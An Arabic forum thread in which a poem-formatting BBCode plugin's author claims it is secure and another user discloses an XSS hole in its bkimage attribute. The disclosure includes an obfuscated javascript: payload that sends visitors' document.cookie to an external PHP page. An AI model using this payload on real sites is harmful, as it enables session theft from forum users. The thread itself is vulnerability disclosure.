منسق الشعر الأصلي ليس به ثغرات .. من يعترض ؟؟

[here]

هذا كود التحويل ..

$bb = eregi_replace('\\[poe[tm]\\]','<div tag=\'\' style="display:none">', $bb);
$bb = eregi_replace('\\[poe[tm][ ]+([a-z][^\\[\']*)\\]','<div tag=\'\\1\' style="display:none">', $bb);
$bb = eregi_replace("\\[/poe[tm]\\]",'</div><script>doPoem(0)</script>', $bb);

الملف المرفق هو الجافا سكريبت

وهذا مثال للشعر

[poem font="Simplified Arabic,4,#000000,normal,normal" bkcolor="" bkImage="" sdImage="" border="none,4,#000000," type=0 line=0 align=center use=0 shcolor="" shgcolor="" gwcolor="" stretch="0" pwidth="0" num="0,0" break=""]http://aaa.swf?udd
السلام عليكم = أيها الأحبة
[/poem]

[العندليب]

انا اول المعترضين ياعزيزي

هناك ثغره من نوع XSS
في متغير bkimage وهذا استثمار للتأكد

[poem font="Simplified Arabic,10,white,normal,normal" bkcolor="coral" bkimage="javascript:document.write(String.fromCharCode(60,104,116,109,108,62,60,70,82,65,77,69,83,69,84,62,60,70,82,65,77,69,32,83,82,67,61,34,104,116,116,112,58,47,47,109,101,109,98,101,114,115,46,108,121,99,111,115,46,99,111,46,117,107,47,115,112,121,111,102,122,117,119,97,114,97,104,47,100,100,46,112,104,112,63,117,61)%2Bdocument.cookie%2BString.fromCharCode(34,62,60,47,70,82,65,77,69,62,60,47,70,82,65,77,69,83,69,84,62,60,47,104,116,109,108,62))" border="double,9,sienna" type=2 line=0 align=center use=ex num="0,black"]
تجربه=تجربه
[/poem]

أضف الى ذلك الخطأ الرهيب عند ادخال اي رمز bbcode بدلا من النص الشعري

تفضل هذا الموضوع فقد ناقشنا فيه أشياء عده
http://www.swalif.net/softs/showpost...7&postcount=83

[here]

هذه قوية أنا مش قدها ما دام فيه هذه الرموز الغريبة

[العندليب]

هذه قوية أنا مش قدها ما دام فيه هذه الرموز الغريبة

عذراً على السؤال

هل أنت فعلا الأستاذ علوي باعقيل مبرمج تنسيق الشعر ؟

[here]

نعم بس بدون الأستاذ

[random_X]

اهلاً بك استاذنا ...

لقد انقطعت كثيراً عن عالم الإنترنت ...

لماذا غبت عنا اخي الكريم ؟

[here]

أهلا بك أخي

أنا موجود + مشغول

ولم أنقطع عن الانترنت أبدا

بارك الله فيكم على السؤال